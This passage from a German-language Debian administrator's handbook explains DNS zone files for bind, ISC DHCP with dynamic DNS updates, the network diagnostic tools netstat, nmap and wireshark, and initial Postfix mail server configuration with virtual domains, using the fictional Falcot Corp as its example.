Umgekehrte Zonen (reverse zones) haben eine besondere Bezeichnung. Die Zone, die das Netzwerk 192.168.0.0/16 erfasst, muss 168.192.in-addr.arpa heißen: die IP-Adresskomponenten sind umgekehrt und gefolgt vom Suffix in-addr.arpa.

TIP Den DNS-Server testen

Der Befehl host (im Paket bind9-host) fragt bei einem DNS-Server an und kann zum Testen der Serverkonfiguration dienen. Zum Beispiel überprüft der Befehl host machine.falcot.com localhost die Antwort des lokalen Servers auf eine Anfrage nach machine.falcot.com. Der Befehl host ipaddress localhost überprüft die umgekehrte Namensauflösung.

Die folgenden Konfigurationsauszüge sind den Falcot-Dateien entnommen und können als Ausgangspunkt für das Konfigurieren eines DNS-Servers dienen:

Example 10.11. Auszug aus der Datei /etc/bind/named.conf.local

zone "falcot.com" { type master; file "/etc/bind/db.falcot.com"; allow-query { any; }; allow-transfer { 195.20.105.149/32 ; // ns0.xname.org 193.23.158.13/32 ; // ns1.xname.org }; }; zone "internal.falcot.com" { type master; file "/etc/bind/db.internal.falcot.com"; allow-query { 192.168.0.0/16; }; }; zone "168.192.in-addr.arpa" { type master; file "/etc/bind/db.192.168"; allow-query { 192.168.0.0/16; }; };

Example 10.12. Auszug aus der Datei /etc/bind/db.falcot.com

; falcot.com Zone ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; ; The @ refers to the zone name ("falcot.com" here) ; or to $ORIGIN if that directive has been used ; @ IN NS ns @ IN NS ns0.xname.org. interne IN NS 192.168.0.2 @ IN A 212.94.201.10 @ IN MX 5 mail @ IN MX 10 mail2 ns IN A 212.94.201.10 mail IN A 212.94.201.10 mail2 IN A 212.94.201.11 www IN A 212.94.201.11 dns IN CNAME ns

VORSICHT Namenssyntax

Die Syntax eines Rechnernamens folgt strengen Regeln. Zum Beispiel: rechner bedeutet rechner.domain. Falls die Bezeichnung der Domain nicht an einen Namen angehängt sein soll, muss der betreffende Name als rechner. geschrieben werden (mit einem Punkt als Suffix). Um einen DNS-Namen außerhalb der aktuellen Domain anzuzeigen, ist daher eine Syntax wie rechner.anderedomain.com. erforderlich (mit einem Punkt am Schluss).

Example 10.13. Auszug aus der Datei /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16 ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA ns.interne.falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL IN NS ns.interne.falcot.com. ; 192.168.0.1 -> arrakis 1.0 IN PTR arrakis.interne.falcot.com. ; 192.168.0.2 -> neptune 2.0 IN PTR neptune.interne.falcot.com. ; 192.168.3.1 -> pau 1.3 IN PTR pau.interne.falcot.com.

10.7. DHCP

10.7.1. Präsentation

DHCP (für Dynamic Host Configuration Protocol) ist ein Protokoll mit dem ein Rechner seine Netzwerkkonfiguration beim Hochfahren automatisch beziehen kann. Dies macht es möglich, die Verwaltung der Netzwerkkonfigurationen zu zentralisieren und sicherzustellen, dass alle Arbeitsplatzrechner ähnliche Einstellungen erhalten.

Ein DHCP-Server stellt zahlreiche Netzwerk-Parameter bereit. Die häufigsten sind IP-Adressen und das Netzwerk, zu dem der Rechner gehört, aber er kann auch andere Informationen bereitstellen, wie DNS-Server, WINS-Server, NTP-Server und so weiter.

Das Internet Software Consortium (das auch mit der Entwicklung von bind befasst ist) ist der Hauptverfasser des DHCP-Servers. Das hierzu passende Debian-Paket ist isc-dhcp-server.

10.7.2. Konfigurieren

Die ersten Elemente, die in der Konfigurationsdatei des DHCP-Servers (/etc/dhcp/dhcpd.conf) editiert werden müssen, sind der Domain-Name und die DNS-Server. Falls dieser Server im lokalen Netzwerk der einzige ist (in Übereinstimmung mit der Broadcast-Einstellung), muss die Anweisung authoritative ebenfalls aktiviert (oder auskommentiert) sein. Außerdem muss ein subnet-Abschnitt erstellt werden, der das lokale Netzwerk und die bereitzustellenden Konfigurationsinformationen beschreibt. Das folgende Beispiel passt zu einem lokalen 192.168.0.0/24-Netzwerk mit einem als Gateway dienenden Router an 192.168.0.1. Verfügbare IP-Adressen liegen im Bereich von 192.168.0.128 bis 192.168.0.254.

Example 10.14. Auszug aus der Datei /etc/dhcp/dhcpd.conf

# # Sample configuration file for ISC dhcpd for Debian # # The ddns-updates-style parameter controls whether or not the server will # attempt to do a DNS update when a lease is confirmed. We default to the # behavior of the version 2 packages ('none', since DHCP v2 didn't # have support for DDNS.) ddns-update-style interim; # option definitions common to all supported networks... option domain-name "internal.falcot.com"; option domain-name-servers ns.internal.falcot.com; default-lease-time 600; max-lease-time 7200; # If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; # Use this to send dhcp log messages to a different log file (you also # have to hack syslog.conf to complete the redirection). log-facility local7; # My subnet subnet 192.168.0.0 netmask 255.255.255.0 { option routers 192.168.0.1; option broadcast-address 192.168.0.255; range 192.168.0.128 192.168.0.254; ddns-domainname "internal.falcot.com"; }

10.7.3. DHCP und DNS

Eine angenehme Eigenschaft von DHCP-Clients ist das automatisierte Registrieren in der DNS-Zone, so dass jeder Rechner einen aussagekräftigen Namen erhält (statt etwas Unpersönlichem wie rechner-192-168-0-131.internal.falcot.com). Um diese Möglichkeit zu nutzen, muss der DNS-Server so konfiguriert werden, dass er Aktualisierungen der DNS-Zone internal.falcot.com vom DHCP-Server akzeptiert, und letzterer so, dass er Aktualisierungen für jede Registrierung einreicht.

Im Fall von bind muss die Anweisung allow-update zu jeder Zone, die der DHCP-Server editieren wird, hinzugefügt werden (die für die internal.falcot.com-Domain und die umgekehrte Zone). Diese Anweisung listet die IP-Adressen auf, denen die Aktualisierungen erlaubt sind; sie sollten daher die möglichen Adressen des DHCP-Servers enthalten (sowohl die lokale und, falls zutreffend, auch die öffentliche Adresse).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Beware! A zone that can be modified will be changed by bind, and the latter will overwrite its configuration files at regular intervals. Since this automated procedure produces files that are less human-readable than manually-written ones, the Falcot administrators handle the internal.falcot.com domain with a delegated DNS server; this means the falcot.com zone file stays firmly under their manual control.

Der obenstehende Auszug einer DHCP-Serverkonfiguration enthält bereits die für Aktualisierungen der DNS-Zone erforderlichen Anweisungen: dies sind die Zeilen ddns-update-style interim; und ddns-domain-name "internal.falcot.com"; in dem Abschnitt, der das Subnetz beschreibt.

10.8. Werkzeuge für die Netzwerk-Diagnose

Wenn eine Netzwerkanwendung nicht erwartungsgemäß läuft, ist es wichtig, unter die Haube schauen zu können. Selbst wenn alles reibungslos zu laufen scheint, kann das Durchführen einer Netzwerk-Diagnose dabei helfen sicherzustellen, dass alles wie vorgesehen funktioniert. Zu diesem Zweck gibt es verschiedene Diagnoseprogramme, von denen jedes auf einer anderen Ebene operiert.

10.8.1. Lokale Diagnose: netstat

Als erstes sei der Befehl netstat genannt (im Paket net-tools); er zeigt eine sofortige Zusammenfassung der Netzaktivitäten eines Rechners. Wenn er ohne Argument aufgerufen wird, listet der Befehl alle offenen Verbindungen auf; diese Liste kann sehr umfangreich sein, da sie viele Unix-Domain-Sockets (üblicherweise von Daemons verwendet) enthält, die in keiner Weise das Netzwerk betreffen (zum Beispiel dbus-Kommunikation, X11-Datenverkehr und Kommunikationen zwischen virtuellen Dateisystemen und der Arbeitsoberfläche).

Normale Aufrufe verwenden daher Optionen, um das Verhalten von netstat zu ändern. Die am häufigsten verwendeten Optionen sind:

-t, dies filtert die Ergebnisse, so dass nur TCP-Verbindungen erfasst werden;

-u, dies wirkt ähnlich für UDP-Verbindungen; diese Optionen schließen sich nicht gegenseitig aus, und jede von ihnen reicht aus, das Anzeigen von Unix-Domain-Verbindungen zu unterdrücken;

-a, um auch die Sockets aufzulisten, die Verbindungen annehmen (auf ankommende Verbindungen warten);

-n, um die Ergebnisse numerisch anzuzeigen: IP-Adressen (keine DNS-Auflösung), Portnummern (keine in /etc/services festgelegten Aliasse) und Benutzer-IDs (keine Anmeldenamen);

-p, um die beteiligten Prozesse aufzulisten; diese Option ist nur sinnvoll, wenn netstat mit Administratorrechten ausgeführt wird, da normale Benutzer nur ihre eigenen Prozesse sehen würden;

-c, um fortlaufend die Liste der Verbindungen aufzufrischen.

Andere Optionen, auf der Handbuchseite netstat(8) dokumentiert, bieten eine noch feinere Kontrolle über die angezeigten Ergebnisse. In der Praxis, werden die fünf ersten Optionen so häufig zusammen benutzt, dass der Befehl netstat -tupan für System- und Netzwerk-Administratoren praktisch zu einem Reflex geworden ist. Typische Ergebnisse auf einem geringfügig ausgelasteten Rechner können wie folgt aussehen:

# netstat -tupan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2224/sshd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 994/exim4 tcp 0 0 192.168.1.241:22 192.168.1.128:47372 ESTABLISHED 2944/sshd: roland [ tcp 0 0 192.168.1.241:22 192.168.1.128:32970 ESTABLISHED 2232/sshd: roland [ tcp6 0 0 :::22 :::* LISTEN 2224/sshd tcp6 0 0 ::1:25 :::* LISTEN 994/exim4 udp 0 0 0.0.0.0:68 0.0.0.0:* 633/dhclient udp 0 0 192.168.1.241:123 0.0.0.0:* 764/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 764/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 764/ntpd udp6 0 0 fe80::a00:27ff:fe6c:123 :::* 764/ntpd udp6 0 0 2002:52e0:87e4:0:a0:123 :::* 764/ntpd udp6 0 0 ::1:123 :::* 764/ntpd udp6 0 0 :::123 :::* 764/ntpd

Wie erwartet führt dies die bestehenden Verbindungen auf, in diesem Fall zwei SSH-Verbindungen, und auf ankommende Verbindungen wartende Anwendungen (als LISTEN aufgeführt), insbesondere den Exim4 E-Mailserver, der an Port 25 auf Anfragen wartet.

10.8.2. Entfernte Diagnose: nmap

nmap (in dem Paket ähnlichen Namens) ist in gewisser Weise das entfernte Äquivalent zu netstat. Es kann eine Reihe "allgemein bekannter" Ports für einen oder mehrere entfernte Server scannen und die Ports auflisten, an denen eine Anwendung auf Anfragen wartet. Darüberhinaus kann nmap einige dieser Anwendungen identifizieren, manchmal sogar ihre Versionsnummer. Auf der anderen Seite kann dieses Programm, da es aus der Ferne operiert, keine Informationen über Prozesse oder Benutzer liefern; jedoch kann es an mehreren Zielen gleichzeitig tätig sein.

Ein typischer nmap-Aufruf verwendet nur die Option -A (so dass nmap versucht, die Versionen der Server-Software, die es findet, zu identifizieren), gefolgt von einer oder mehreren IP-Adressen oder DNS-Namen der zu scannenden Rechner. Auch hier gibt es viel mehr Optionen für eine fein eingestellte Kontrolle des Verhaltens von nmap; bitte ziehen Sie die Dokumentation auf der Handbuchseite nmap(1) zu Rate

# nmap scouzmir Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-12 18:52 CEST Interesting ports on 192.168.1.101: Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind MAC Address: 52:54:00:99:01:01 (QEMU Virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 2.11 seconds # nmap -A localhost Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-12 18:59 CEST Warning: Hostname localhost resolves to 2 IPs. Using 127.0.0.1. Interesting ports on localhost (127.0.0.1): Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.5p1 Debian 4 (protocol 2.0) | ssh-hostkey: 1024 af:07:60:17:16:64:6f:ee:c4:ca:b5:64:1e:4a:4c:22 (DSA) |_ 2048 25:b0:aa:6b:11:5a:56:b6:8d:2d:ed:b3:16:17:96:33 (RSA) 25/tcp open smtp Exim smtpd 4.72 | smtp-commands: EHLO scouzmir.internal.placard.fr.eu.org Hello localhost [127.0.0.1], SIZE 52428800, PIPELINING, HELP |_ HELP Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP 111/tcp open rpcbind | rpcinfo: | 100000 2 111/udp rpcbind | 100024 1 53273/udp status | 100000 2 111/tcp rpcbind |_ 100024 1 41127/tcp status No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=5.00%D=10/12%OT=22%CT=1%CU=34421%PV=N%DS=0%G=Y%TM=4CB4941A%P=i686 OS:-pc-linux-gnu)SEQ(SP=BF%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%TS=8)OPS(O1=M400CST1 OS:1NW4%O2=M400CST11NW4%O3=M400CNNT11NW4%O4=M400CST11NW4%O5=M400CST11NW4%O6 OS:=M400CST11)WIN(W1=8000%W2=8000%W3=8000%W4=8000%W5=8000%W6=8000)ECN(R=Y%D OS:F=Y%T=40%W=8018%O=M400CNNSNW4%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD= OS:0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=8000%S=O%A=S+%F=AS%O=M400CST11NW4%RD=0%Q= OS:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A= OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL= OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 0 hops Service Info: Host: scouzmir.internal.placard.fr.eu.org; OS: Linux OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.32 seconds

Wie erwartet sind die SSH- und Exim4-Anwendungen aufgelistet. Beachten Sie, dass nicht alle Anwendungen an allen IP-Adressen auf Anfragen warten; da Exim4 nur auf der Loopback-Schnittstelle lo erreichbar ist, taucht es nur bei einer Analyse von localhost auf und nicht, wenn scouzmir gescannt wird (das als eth0-Schnittstelle auf demselben Rechners abgebildet wird).

10.8.3. Netzwerk-Sniffer: tcpdump und wireshark

Manchmal ist es erforderlich sich anzusehen, was tatsächlich auf dem Kabel vor sich geht, und zwar Paket für Paket. Diese Fälle verlangen nach einem "Frame-Analysator", besser bekannt als sniffer. Ein derartiges Programm beobachtet alle Pakete, die eine bestimmte Netzwerkschnittstelle erreichen und zeigt sie in einer benutzerfreundlichen Weise an.

Ein altehrwürdiges Werkzeug auf diesem Gebiet ist tcpdump, als Standardprogramm auf vielen Betriebssystemen verfügbar. Es ermöglicht, den Netzwerkverkehr auf viele Arten zu erfassen, jedoch bleibt die Wiedergabe dieses Verkehrs ziemlich unklar. Wir werden es daher nicht in allen Einzelheiten beschreiben.

Ein jüngeres (und moderneres) Programm, wireshark (im Paket wireshark), wird allmählich aufgrund seiner zahlreichen Entschlüsselungsmodule, die eine vereinfachte Analyse der erfassten Pakete ermöglichen. zur neuen Referenz in der Netzverkehrsanalyse. Die Pakete werden grafisch in einer Gliederung angezeigt, die auf den Protokollschichten beruht. Dies ermöglicht es einem Benutzer, sich ein Bild von allen an einem Paket beteiligten Protokollen zu machen. Zum Beispiel gäbe es ein Paket, das eine HTTP-Anfrage enthält, dann zeigt wireshark getrennt die physikalische Schicht, die Ethernet-Schicht, die IP-Paketinformation, die TCP-Verbindungsparameter und schließlich die HTTP-Anfrage selbst an.

Figure 10.1. Der wireshark Netzverkehrsanalysator

In our example, the packets traveling over SSH are filtered out (with the !tcp.port == 22 filter). The packet currently displayed was developed at the TCP and HTTP layers.

TIP wireshark ohne grafische Oberfläche: tshark

Für den Fall, dass man keine grafische Oberfläche einsetzen kann oder dies - aus welchen Gründen auch immer - nicht wünscht, gibt es auch eine reine Textversion von wireshark namens tshark (in dem separaten Paket tshark). Die meisten Erfassungs- und Entschlüsselungsfähigkeiten sind noch vorhanden, aber das Fehlen einer grafischen Oberfläche begrenzt notwendigerweise die Interaktionen mit dem Programm (das Filtern von Paketen, nachdem sie erfasst worden sind, das Verfolgen einer bestimmten TCP-Verbindung und so weiter). Es kann dennoch als erster Ansatz benutzt werden. Falls weitere Manipulationen beabsichtigt sind und die grafische Oberfläche erforderlich wird, können die Pakete in einer Datei gespeichert werden, und diese Datei kann in eine grafische Version von wireshark geladen werden, die auf einem anderen Rechner läuft.

KULTUR ethereal und wireshark

wireshark scheint relativ jung zu sein, jedoch ist es nur der neue Name eines Computerprogramms, das früher als ethereal bekannt war. Als sein Hauptentwickler das Unternehmen, bei dem er beschäftigt war, verließ, konnte er die Übertragung des eingetragenen Warenzeichens nicht aushandeln. Als Alternative wählte er einen Namenswechsel; in der Tat haben sich nur der Name und das Symbol geändert.

Chapter 11. Netzwerkdienste: Postfix, Apache, NFS, Samba, Squid, LDAP

Netzwerkdienste sind die Programme, mit denen Benutzer in ihrer täglichen Arbeit direkt interagieren. Sie sind die Spitze des Eisbergs des Informationssystems, und dieses Kapitel richtet sein Hauptaugenmerk auf sie; die verborgenen Teile, auf denen sie aufbauen, sind die Infrastruktur, die wir bereits besprochen haben.

11.1. Mail-Server

Die Falcot Corp. Administratoren haben Postfix wegen seiner Zuverlässigkeit und seiner leichten Konfigurierbarkeit als elektronischen Mail-Server gewählt. Sein Design zwingt dazu, jede Aufgabe als Prozess mit dem geringstmöglichen Satz an Berechtigungen umzusetzen, eine gute Vorbeugungsmaßnahme gegen Sicherheitsprobleme.

ALTERNATIVE Der Exim4-Server

Debian verwendet Exim4 standardmäßig als E-Mail-Server (daher enthält die Erstinstallation auch Exim4). Die Konfiguration wird durch ein separates Paket, exim4-config, bereitgestellt und selbsttätig anhand der Antworten auf eine Anzahl von Debconf-Fragen eingerichtet, in ähnlicher Weise wie bei den vom Paket postfix gestellten Fragen.

Die Konfiguration kann sich entweder in einer einzelnen Datei (/etc/exim4/exim4.conf.template) befinden oder verteilt über eine Anzahl von Konfigurationsausschnitten, die unter /etc/exim4/conf.d/ gespeichert sind. In beiden Fällen werden die Dateien nicht direkt von Exim4 benutzt, sondern werden (durch den Befehl update-exim4.conf) in die maßgebliche Datei /etc/exim4/exim4.conf.template aggregiert oder geparst (die in die Datei /var/lib/exim4/config.autogenerated kompiliert wird, wenn Exim4 startet). Der Befehl update-exim4.conf ermöglicht es, einige Schlagworte der Konfigurationsausschnitte durch Daten zu ersetzen, die den Antworten auf die Debconf-Fragen entnommen sind.

Die Syntax der Exim4-Konfigurationsdatei hat ihre Besonderheiten und erfordert eine Lernphase; sobald man jedoch diese Besonderheiten verstanden hat, ist Exim4 ein sehr umfassender und leistungsstarker E-Mail-Server, wie Dutzende von Dokumentationsseiten zeigen.

→ http://www.exim.org/docs.html

11.1.1. Postfix installieren

Das Paket postfix enthält den Kern des SMTP-Daemons. Andere Pakete (wie postfix-ldap und postfix-pgsql) fügen weitere Funktionsmerkmale zu Postfix hinzu, einschließlich des Zugangs zu Zuordnungsdatenbanken. Sie sollten sie nur installieren, wenn Sie wissen, dass Sie sie benötigen.

ZURÜCK ZU DEN GRUNDLAGEN SMTP

SMTP (Simple Mail Transfer Protocol) ist das von Mail-Servern für den Austausch und die Zustellung von E-Mails verwendete Protokoll.

Während der Installation des Pakets werden mehrere Debconf-Fragen gestellt. Die Antworten ermöglichen es, eine erste Version der Konfigurationsdatei /etc/postfix/main.cf zu erstellen.

Die erste Frage bezieht sich auf die Art der Aufbaus. Nur zwei der vorgeschlagenen Antworten sind im Falle eines mit dem Internet verbundenen Servers relevant, „Internet site“ und „Internet with smarthost“. Die erste ist für einen Server richtig, der eingehende E-Mails empfängt und ausgehende E-Mails direkt an ihre Empfänger verschickt, und ist daher für die Situation der Falcot Corp. gut geeignet. Die zweite ist für einen Server angebracht, der eingehende E-Mails normal empfängt, aber ausgehende E-Mails über einen zwischengeschalteten SMTP-Server - den „smarthost“ - verschickt, statt direkt an den Server des Empfängers. Dies ist meistens für Personen mit einer dynamischen IP-Adresse sinnvoll, da viele E-Mail-Server Nachrichten, die direkt von einer derartigen IP-Adresse kommen, zurückweisen. In diesem Fall ist der Smarthost gewöhnlich der SMTP-Server des ISPs, der stets so konfiguriert ist, dass er E-Mails annimmt, die von den Kunden des ISP kommen, und sie in geeigneter Weise weiterleitet. Dieser Aufbau (mit einem Smarthost) ist auch für Server relevant, die nicht ständig mit dem Internet verbunden sind, da es so nicht erforderlich ist, eine Warteschlange nicht zustellbarer Nachrichten zu verwalten, für die später ein neuer Zustellversuch unternommen werden muss.

WÖRTERVERZEICHNIS ISP

ISP ist die Abkürzung für „Internet Service Provider“. Hiermit ist eine Einrichtung gemeint, in vielen Fällen ein kommerzielles Unternehmen, die Internetverbindungen und damit zusammenhängende grundlegende Dienste (E-Mail, Nachrichten und so weiter) bereitstellt.

Die zweite Frage bezieht sich auf die vollständige Bezeichnung des Rechners, die zur Erstellung von E-Mail-Adressen aus einem lokalen Benutzernamen verwendet wird; die vollständige Bezeichnung des Rechners wird zu dem Teil hinter dem at-Zeichen („@“). Im Falle von Falcot sollte die Antwort mail.falcot.com lauten. Dies ist die einzige standardmäßig gestellte Frage, aber die Konfigurierung, zu der sie führt, ist für die Bedürfnisse von Falcot nicht vollständig genug, weshalb die Administratoren dpkg-reconfigure postfix aufrufen, um so weitere Parameter einstellen zu können.

Eine der zusätzlichen Fragen erkundigt sich nach allen Domain-Namen, die mit diesem Rechner in Zusammenhang stehen. Die Standardliste umfasst seine vollständige Bezeichnung sowie einige Synonyme für localhost, jedoch muss die Hauptdomain falcot.com von Hand hinzugefügt werden. Allgemeiner gesagt sollte diese Frage normalerweise mit allen Domain-Namen beantwortet werden, für die dieser Rechner als MX-Server dienen soll; mit anderen Worten, allen Domain-Namen, für die der DNS angibt, dass dieser Rechner E-Mails annimmt. Diese Information geht in die Variable mydestination der Hauptkonfigurationsdatei von Postfix, /etc/postfix/main.cf, ein.

Figure 11.1. Rolle des DNS-MX-Eintrags beim Versenden einer E-Mail

EXTRA Die MX-Einträge abfragen

Wenn im DNS kein MX-Eintrag für eine Domain vorliegt, versucht der E-Mail-Server, die Nachrichten unter Verwendung des passenden A-Eintrags (oder AAAA bei IPv6) an den Host selbst zu schicken.

In manchen Fällen kann während der Installation auch gefragt werden, welchen Netzwerken es erlaubt sein soll, E-Mails über den Rechner zu verschicken. In seiner Standard-Konfiguration akzeptiert Postfix nur E-Mails, die von diesem Rechner selbst kommen; das lokale Netzwerk wird gewöhnlich hinzugefügt. Die Falcot Corp. Administratoren haben 192.168.0.0/16 zur Standardantwort hinzugefügt. Falls diese Frage nicht gestellt wird, ist mynetworks die relevante Variable in der Konfigurationsdatei, wie in unten stehendem Beispiel zu sehen ist.

Lokale E-Mail kann auch durch procmail zugestellt werden. Dieses Programm ermöglicht es Benutzern, ihre ankommende E-Mail nach Regeln, die in der Datei ~/.procmailrc gespeichert sind, zu sortieren.

Nach diesem ersten Schritt verfügen die Administratoren über die folgende Konfigurationsdatei; sie wird als Ausgangspunkt verwendet, um in den nächsten Abschnitten einige weitere Funktionsmerkmale hinzuzufügen.

Example 11.1. Anfängliche /etc/postfix/main.cf-Datei

# See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_use_tls=yes smtpd_tls_session_cache_database = btree:${queue_directory}/smtpd_scache smtp_tls_session_cache_database = btree:${queue_directory}/smtp_scache # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for # information on enabling SSL in the smtp client. myhostname = mail.falcot.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = mail.falcot.com, falcot.com, localhost, localhost.localdomain relayhost = mynetworks = 127.0.0.0/8 192.168.0.0/16 mailbox_command = procmail -a "$EXTENSION" mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all inet_protocols = all

SICHERHEIT Schlangenöl SSL-Zertifikate

Die Schlangenöl-Zertifikate sind, wie die Schlangenöl-„Medizin“, die früher von gewissenlosen Quacksalbern verkauft wurde, völlig wertlos, da sie mit demselben „privaten“ Teil in ähnlicher Weise auf allen Debian-Systemen erzeugt werden. Sie sollten nur zu Testzwecken benutzt werden, während im Normalbetrieb wirkliche Zertifikate verwendet werden müssen; diese können mit dem unter Section 10.2.1.1, “Public-Key-Infrastrultur: easy-rsa” beschriebenen Verfahren erstellt werden.

11.1.2. Virtuelle Domains konfigurieren

Der Mail-Server kann außer E-Mails, die an die Hauptdomain adressiert sind, auch solche entgegennehmen, die an andere Domains gerichtet sind. Diese werden dann virtuelle Domains genannt. In den meisten derartigen Fällen sind die E-Mails letztlich nicht für lokale Benutzer bestimmt. Postfix stellt für die Verwendung virtueller Domains zwei interessante Leistungsmerkmale bereit.

VORSICHT Virtuelle und autorisierte Domains

Auf keine der virtuellen Domains darf in der Variablen mydestination verwiesen werden; diese Variable enthält nur die Namen der direkt dem Rechner und seinen lokalen Benutzern zugeordneten „autorisierten“ Domains.

11.1.2.1. Virtuelle Alias-Domains

Eine virtuelle Alias-Domain enthält nur Aliasse, das heißt Adressen, die nur E-Mails an andere Adressen weiterleiten.

Eine derartige Domain wird durch das Hinzufügen ihres Namens zur Variablen virtual_alias_domains und das Eintragen eines Verweises auf eine Adressen-Bezugsdatei in die Variable virtual_alias_maps aktiviert.

Example 11.2. In die Datei /etc/postfix/main.cf einzufügende Anweisungen

virtual_alias_domains = falcotsbrand.tm.fr virtual_alias_maps = hash:/etc/postfix/virtual

Die Datei /etc/postfix/virtual stellt Zuordnungen in einer recht einfachen Syntax dar: jede Zeile enthält zwei durch Leerzeichen getrennte Felder; das erste Feld ist der Alias-Name, das zweite eine Liste der E-Mail-Adressen, an die er weiterleitet. Die spezielle Syntax @domain.tm.fr deckt alle übrigen Aliasse in der Domain ab.

Example 11.3. Beispiel der Datei /etc/postfix/virtual

webmaster@falcotsbrand.tm.fr jean@falcot.com contact@falcotsbrand.tm.fr laure@falcot.com, sophie@falcot.com # The alias below is generic and covers all addresses within # the falcotsbrand.tm.fr domain not otherwise covered by this file. # These addresses forward email to the same user name in the # falcot.com domain. @falcotsbrand.tm.fr @falcot.com

11.1.2.2. Virtuelle Postfach-Domains

VORSICHT Kombinierte virtuelle Domain?

Postfix erlaubt es nicht, dieselbe Domain sowohl in virtual_alias_domains als auch in virtual_mailbox_domains zu verwenden. Jedoch ist jede Domain in virtual_mailbox_domains stillschweigend auch in virtual_alias_domains erfasst, so dass es möglich ist, Aliasse und Postfächer in einer virtuellen Domain zu kombinieren.

An ein virtuelles Postfach adressierte Nachrichten werden in Postfächern gespeichert, die keinem lokalen Systembenutzer zugeordnet sind.

Um eine virtuelle Postfach-Domain zu aktivieren, ist es erforderlich, diese Domain in der Variablen virtual_mailbox_domains einzutragen und in virtual_mailbox_maps einen Verweis auf eine Mailbox-Bezugsdatei anzugeben. Der Parameter virtual_mailbox_base enthält das Verzeichnis, in dem die Postfächer gespeichert werden.

Der Paramater virtual_uid_maps (beziehungsweise virtual_gid_maps) verweist auf die Datei, die den Bezug zwischen der E-Mail-Adresse und dem Systembenutzer (beziehungsweise der Gruppe) enthält, dem das entsprechende Postfach „gehört“. Die Syntax, um alle Postfächer zu bezeichnen, die demselben Benutzer beziehungsweise derselben Gruppe gehören, ist static:5000.

Example 11.4. In die Datei /etc/postfix/main.cf einzufügende Anweisungen

virtual_mailbox_domains = falcot.org virtual_mailbox_maps = hash:/etc/postfix/vmailbox virtual_mailbox_base = /var/mail/vhosts

Auch die Syntax der Datei /etc/postfix/vmailbox ist recht einfach: zwei durch Leerzeichen getrennte Felder. Das erste Feld ist eine E-Mail-Adresse innerhalb einer der virtuellen Domains, und das zweite ist der Ort des dazugehörigen Postfachs (relativ zum Verzeichnis, das in virtual_mailbox_base angegeben ist). Falls die Bezeichnung des Postfachs mit einem Schrägstrich (/) endet, werden die E-Mails im maildir-Format gespeichert; anderenfalls wird das traditionelle mbox-Format benutzt. Das maildir-Format verwendet ein ganzes Verzeichnis zur Speicherung eines Postfachs, wobei jede individuelle Nachricht in einer eigenen Datei gespeichert wird. Dagegen ist beim mbox-Format das gesamte Postfach in einer einzigen Datei gespeichert, wobei jede Zeile, die mit „From “ beginnt (From gefolgt von einem Leerzeichen), den Beginn einer neuen Nachricht anzeigt.

Example 11.5. Die Datei /etc/postfix/vmailbox

# Jeans E-Mail ist als maildir gespeichert mit # einer Datei je E-Mail in einem gesonderten Verzeichnis jean@falcot.org falcot.org/jean/ # Sophies E-Mail ist in einer traditionellen „mbox“-Datei gespeichert # mit allen Mails zu einer einzigen Datei verkettet sophie@falcot.org falcot.org/sophie

11.1.3. Einschränkungen beim Empfangen und Senden

Die wachsende Zahl unerwünschter Massen-E-Mails (spam) macht es erforderlich, bei der Entscheidung, welche E-Mails ein Server annehmen sollte, in zunehmendem Maße strikt zu sein. Dieser Abschnitt zeigt einige der in Postfix enthaltenen Strategien.

KULTUR Das Spam-Problem

